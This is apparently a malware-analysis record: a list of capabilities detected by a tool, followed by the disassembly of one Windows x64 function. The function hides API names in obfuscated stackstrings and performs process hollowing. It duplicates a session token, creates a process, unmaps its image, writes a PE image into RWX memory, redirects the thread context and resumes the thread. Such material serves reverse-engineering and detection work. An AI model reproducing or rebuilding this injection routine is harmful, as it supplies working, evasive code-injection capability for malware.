Function at 0x140067d90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x14009d810]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor r12d, r12d
mov r14, r8
mov rsi, rdx
mov r15, rcx
xor dil, dil
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
xor edx, edx
lea ecx, [rdx + 2]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
je 0x1400682f2
lea rdx, [rsp + 0x60]
mov r8, rax
mov ecx, ebx
call fcn.1400688b0
test al, al
je 0x1400682f2
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400682f2
lea rax, [rsp + 0x68]
lea r9d, [r12 + 2]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0x2000000
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1400682e2
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x1400682bd
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x2c], 0x32336c65
mov word [rbp + 0x29], 0x7265
mov dword [rbp + 0x30], 0x6c6c642e
mov byte [rbp + 0x28], 0x4b
mov byte [rbp + 0x2b], WSASetLastError
mov byte [rbp + 0x34], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140068320
lea rdx, [rbp + 0x88]
mov rcx, rax
mov dword [rbp + 0x88], 0x64616552
mov dword [rbp + 0x8e], 0x7365636f
mov dword [rbp + 0x93], 0x6f6d654d
mov word [rbp + 0x97], 0x7972
mov byte [rbp + 0x92], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x99], r12b
mov word [rbp + 0x8c], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x70]
mov rcx, rbx
mov dword [rbp + 0x75], 0x64616572
mov dword [rbp + 0x7d], 0x747865
mov dword [rbp + 0x79], 0x746e6f43
mov qword [0x1400a0f50], rax
mov dword [rbp + 0x70], 0x54746547
mov byte [rbp + 0x74], 0x68
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x48]
mov rcx, rbx
mov dword [rbp + 0x4b], 0x6c617574
mov word [rbp + 0x50], 0x6c6c
mov dword [rbp + 0x53], 0x784563
mov qword [0x1400a0f48], rax
mov word [rbp + 0x49], 0x7269
mov byte [rbp + 0x52], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x48], 0x56
mov byte [rbp + 0x4f], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x18]
mov rcx, rbx
mov dword [rbp + 0x21], 0x636f6c
mov qword [0x1400a0f40], rax
mov word [rbp + 0x18], 0x6956
mov dword [rbp + 0x1b], 0x6c617574
mov byte [rbp + 0x1a], WSACleanup
mov word [rbp + 0x1f], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp]
mov rcx, rbx
mov word [rbp + 4], 0x5065
mov qword [0x1400a0f20], rax
mov word [rbp + 0xd], 0x6d65
mov word [rbp + 0xa], 0x7373
mov word [rbp + 7], 0x636f
mov dword [rbp], 0x74697257
mov dword [rbp + 0xf], 0x79726f
mov byte [rbp + 6], WSACleanup
mov byte [rbp + 0xc], Ordinal_79
mov byte [rbp + 9], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x58]
mov rcx, rbx
mov dword [rbp + 0x5f], 0x6f436461
mov dword [rbp + 0x64], 0x74786574
mov dword [rbp + 0x58], 0x54746553
mov qword [0x1400a0f38], rax
mov byte [rbp + 0x68], r12b
mov word [rbp + 0x5c], 0x7268
mov byte [rbp + 0x5e], 0x65
mov byte [rbp + 0x63], WSASetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x38]
mov rcx, rbx
mov word [rbp + 0x39], 0x7365
mov qword [0x1400a0f30], rax
mov word [rbp + 0x3f], 0x7268
mov word [rbp + 0x3c], 0x656d
mov word [rbp + 0x42], 0x6461
mov byte [rbp + 0x41], 0x65
mov byte [rbp + 0x3b], 0x75
mov byte [rbp + 0x38], 0x52
mov byte [rbp + 0x3e], 0x54
mov byte [rbp + 0x44], r12b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a0f28], rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x1400682bd
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
cmp dword [rdi], 0x4550
jne 0x1400682ba
lea rdx, [rsp + 0x78]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
movzx ecx, word [rdi + 4]
mov eax, dword [rsp + 0x78]
mov edx, 0x14c
cmp cx, dx
jne 0x14006809e
test eax, eax
jne 0x140068320
mov edx, 0x8664
cmp cx, dx
jne 0x1400680b1
cmp eax, 6
jne 0x140068320
xor eax, eax
lea rcx, [rbp - 0x70]
xor edx, edx
lea r8d, [rax + 0x68]
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
call fcn.1400467a0
mov rcx, qword [rsp + 0x68]
lea rax, [rbp]
xor r9d, r9d
mov r8, r14
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov rdx, rsi
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r12w
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x1400682ba
mov edx, listen
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 8]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp]
test eax, eax
je 0x1400682b2
mov rdx, qword [r13 + 0x88]
lea r8, [rbp - 0x80]
mov r9d, 8
add rdx, 0x10
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp - 0x80]
lea r12, [rdi + 0x30]
cmp rax, qword [r12]
jne 0x1400681be
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp]
call rax
mov r8d, dword [rdi + 0x50]
mov rdx, qword [r12]
mov rcx, qword [rbp]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp]
mov r14, rax
test rax, rax
je 0x1400682a2
mov r9d, dword [rdi + 0x54]
xor ebx, ebx
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 0x14]
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x140068253
lea rbx, [rdi + 0x2c]
add rbx, rax
xor r12d, r12d
nop dword [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
mov r9d, dword [rbx - 4]
mov rcx, qword [rbp]
add r8, r15
add rdx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc esi
lea rbx, [rbx + 0x28]
cmp esi, eax
jl 0x140068220
lea r12, [rdi + 0x30]
xor ebx, ebx
mov rdx, qword [r13 + 0x88]
mov rcx, qword [rbp]
mov r9d, 8
mov r8, r12
add rdx, 0x10
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rdi + 0x28]
mov rdx, r13
add rax, r14
mov qword [r13 + 0x80], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dil, 1
xor r12d, r12d
jmp 0x1400682bd
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor dil, dil
xor r12d, r12d
jmp 0x1400682bd
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor dil, dil
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400682cd
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400682e2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], r12
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400682f2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, dil
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140042af0
mov rbx, qword [rsp + 0x208]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor al, al
jmp 0x1400682f6